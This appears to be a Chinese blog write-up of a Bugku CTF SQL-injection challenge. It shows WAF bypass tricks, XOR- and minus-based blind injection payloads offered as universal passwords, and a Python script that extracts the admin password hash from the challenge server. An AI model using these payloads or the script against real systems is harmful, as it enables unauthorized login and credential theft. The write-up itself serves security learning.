bugku-sql注入2(学习到有用的东西)

这道题只能说坑啊,特别是最后找密码参数那里,真的是磕磕碰碰啊。。。

但是做完题的整个过程还是学到了很多有用的技巧。

直接来吧:

 

 

看了下提示,真的是全都过滤了吗,点进去是一个登录页面

 

 

 哎,又是一个post型注入,先试试随便输个账号密码看看回显

 

 

 没有说密码错误,那么应该是先判断用户名再判断密码的,盲猜用户名为admin,试试

 

 

 那么用户名确实是admin,先抓包,对用户名处进行操作,输入单引号没反应,然后跟上注释符#,发现被waf拦截!

 

 

 看看提示的那些符号被过滤没,拿一个逗号试试,不行,再%试试,发现没被过滤,原来这全部过滤是骗人的,waf只拦截了一部分。

我的wfuzz暂时出了点问题,这里就先用我自己归纳的sql注入常用的关键字和字符字典,可以拿来用bp跑,看哪些字符没被过滤,还是挺有用的。

 

 

 

 

 

 扫完之后发现,长度为367的字符(除了第一个)没有被waf拦截的,而370的是被waf拦截了的。注意,这里是waf过滤,不是普通的函数过滤,因此双写绕过没用,试了大小写绕过也没用,因此哪些关键字被过滤了的话,就不能用了,url全编码两次也不行。

一、方法一:

注释符也过滤完了,and和or也被过滤掉,因此这里用不了一般的闭合了,看着异或符^还没有被过滤,那么试试用异或逻辑来判断真假。

盲猜后端sql语句为“select * from user where uname='xxxxxxx';”

不为难我们的话一般都为单引号闭合,那么在uname上构造这样的payload:admin'^(length(database())>1)^'

如果我们中间的sql语句为假则返回真,为真则返回假,我们拿0和1来测试一下返回状态:

 

 

 

 

 

 我们条件为0(假),返回结果为密码错误(说明用户名正确);条件为1(真),返回结果为用户名错误(即为假)。

那么直接爆数据库长度,先试着用bp来爆,发现不管返回是密码错误还是用户名错误,长度都是一样的,选择了先手爆数据库长度,然后再用脚本跑库名。

 

 

 前面两个返回的都是用户名错误,大于三就密码错误了,说明数据库长度为3.

然后我们用substrl()函数构造爆数据库字母的语句,这里由于逗号被过滤了,那么我们用from...for...来代替

substr(database(),1,1)等价于substr(database() from 1 for 1)

哦豁,忘了刚刚空格和or都被过滤了,导致for也用不了了,那么只能用如下payload了

ascii(substr((database())from(1)))=97

空格用()代替,至于只用from就能达到目的的原理等稍后解释。

 用脚本爆出来为“ctf”,但是我发现,这。。。。没用啊啊啊!,后面根本爆不了表跟字段,or都被waf过滤了,跟or相关的关键字也都被间接过滤(比如说information),玩个蛇,不会直接爆破吧这玩意儿,反正都知道了用户名,说不定密码是个弱密码呢。

然后直接拿出我自己平常收集的一个弱密码字典来试试,因为手懒,就把平常自己能想到和用到的弱密码收集在了一起,特别小,方便bp跑。

 

 

 看了一下367的响应包,是密码错误的,看了下320的响应包,没有数据,而且自从密码为admin123之后全是320的,回去试试第一个密码admin123,发现页面自己变成了http://123.206.87.240:8007/web2/admin/,直接是登录的状态了

 

 

 我知道了,只要bp扫到正确的密码并且发包之后,原来的页面直接更换为已登录状态,那么换个浏览器去试试密码。

我先试了admin123下面的任意一个密码,不行,然后试admin123,发现确实能登录,直接ls,得到flag

 

 

 方法二

看了其他大佬的wp,发现一个坑人的地方,直接看源码,

 

 

 name对应的就是密码的参数名,直接用刚刚的盲注来爆这个参数passwd。

 

 

 32以下的数字都是对的,大于32就错误了(注意这里用户名正确代表sql语句为假),因此passwd为32位,应该是个32位加密的md5值。

然后用我刚才写的脚本,修改一些变量值就可以爆出32位的md5值了,脚本最后贴出。

 

 

然后拿去在线cmd5里面去解

 

 

 得到密码。然后登录得flag。

原理:

0x01 只用from的substr查询

我们在自己本机的mysql里面做实验,

 

 

 

 发现只用from的话,就会把对应查询位置的字符以及后面的字符全部查询显示出来,相当于默认长度为后面所有。

 

 

 发现只要用ascii码做比较,只会比较查询出来的第一个字母的ascii码,也就是说我们只用from还是能达到一个字母一个字母通过盲注比较出来并拼接。

0x02 sql语句的数学计算

sql语句进行计算的时候,会把字符串转化为整数来计算,如果字符串开头不是数字的话直接转化为0

我们先来看看查询一个表时where条件直接跟一个字段等于0

 

 

 发现只要user字段内容的首位不为数字的全都查询出来了,因为user=0这个“=”也是一个数学计算符,因此会将user字段的所有内容转化为数字型,首字母不为数字的字符串全部转化为0,而从首字母开始如果是数字,将会转话为最前面对应的数字(例如‘123admin’将转为123),因此符合user等于0的就是那些首字母不为数字的用户了,全部爆出来。

 

 

 如果等于1或其他数字就不会爆出来。

那么我们在user后面也可构造一个字符和数字的计算试,让其结果为0即可查询到所有。因此我们构造

'a'-(1)-''  条件为真
'a'-(0)-''  条件为假

括号里面的是条件,可以是sql判断条件,是真返回数字1,是假返回数字0.

这里出现了减号,那么这个式子会被当成这样计算,有引号的字符串全部转化为0

'a'-(1)-''  计算结果为:0-1-0=-1
'a'-(0)-''  计算结果为:0-0-0=0

因此当条件为假的时候结果为零,数据库将查询到全部数据。

同理上面的异或payload可以这样计算:

'a'^(1)^''  计算结果为:0^1^0=1
'a'^(0)^''  计算结果为:0^0^0=0

同样是括号内的sql语句为真时返回1,为假时返回0,因此利用这两种状态来判断是真是假。

0x03 可当万能密码使用

如果后台查询为单引号情况下:

a'^(0)^'
或者
a'-(0)-'

当然,不一定能绕过密码有时候。

附上本题跑密码的脚本:

复制代码
import requests

hed={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0'}
admin="admin'-(ascii(substr((passwd)from({})))={})-'"
#dat={'uname':admin,'passwd':'123'}
url="http://123.206.87.240:8007/web2/login.php"
ascil=[i for i in range(48,58)]
ascil2=[i for i in range(97,123)]
ascil3=ascil+ascil2
password=''
for i in range(1,33):
    for j in ascil3:
        dat={'uname':admin.format(i,j),'passwd':'123'}
        respons=requests.post(url,headers=hed,data=dat,timeout=4)
        html=respons.content.decode()
        if 'username' in html:
            password=password+chr(j)
            print(password)
            break
print('密码的md5为:',password)
复制代码

总的来说,数学计算符号可以在sql中搭配逻辑判断灵活使用,这里还可以用其他计算符同样可以达到目的。

 

posted @   ctrl_TT豆  阅读(1328)  评论(0编辑  收藏  举报
编辑推荐:
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
点击右上角即可分享
微信分享提示